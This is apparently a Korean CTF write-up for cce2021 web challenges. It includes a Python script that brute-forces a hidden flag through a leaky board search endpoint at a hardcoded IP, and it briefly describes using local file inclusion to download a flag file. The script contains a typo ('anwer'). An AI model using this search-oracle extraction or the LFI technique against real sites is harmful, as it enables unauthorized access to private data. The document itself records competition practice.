웹 100점은 다 풀었다....ㅎ
문제의 정확한 스샷은 못 찍었다...
문제 들어가보면 검색 기능이 있는 게시판이 존재하고 비밀글에 플래그가 적혀있던것으로 추정됬다.
그런데 검색 기능을 이용하면 접근할 수 없는 비밀글의 내용이 검색이 되었다.
따라서 파이썬으로 스크립트를 짜서 공격을 하면 성공적으로 플래그를 탈취할 수 있다.
# -*- coding: utf-8 -*-
import urllib.request
answer = "cce2021{"
url_start = "http://20.194.123.134/search" + '?'
word = ['0','1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','}']
while True:
try:
for j in range(len(word)):
query = answer+str(word[j])
url = url_start + 'keyword='+query
print(url)
req = urllib.request.Request(url)
res = urllib.request.urlopen(req)
data = res.read().decode('utf-8')
if data.find('<td>hey hacker') != -1:
answer += str(word[j])
print(anwer)
break
except Exception as e:
continue
print(answer)
따라서 나온 플래그는 cce2021{2e8a68e4e3a7d729bafa6d146349e304}
이다.
이 문제는 처음에 방향을 못 잡았던 문제이다.
무슨 BTS 팬 페이지처럼 꾸며놔서 어디서 무슨 짓을 해야하는지 감이 안잡혔다.
모든 텍스트를 입력받는 곳에다 무지성으로 sql 인젝션을 시도하였고 모두 실패했다.
그리고 그냥 계속 페이지를 탐색하던 중 스케줄 표를 다운할 수 있는 페이지를 찾아냈다.
그 순간 설마하면서 문제에서 알려준 flag파일을 LFI 취약점을 이용해 flag파일의 다운로드를 시도하였고 성공했다.
이 문제는 다른 화려한 장치에 속지않고 파일 다운로드 페이지를 빨리 찾는 사람이 승리자였던것같다.
이 문제는 권호가 먼저 풀었다...... ㅠ
그래서 대충 sql injection에 관련된 문제인것까지만 파악을 하고 다른 문제로 넘어갔다.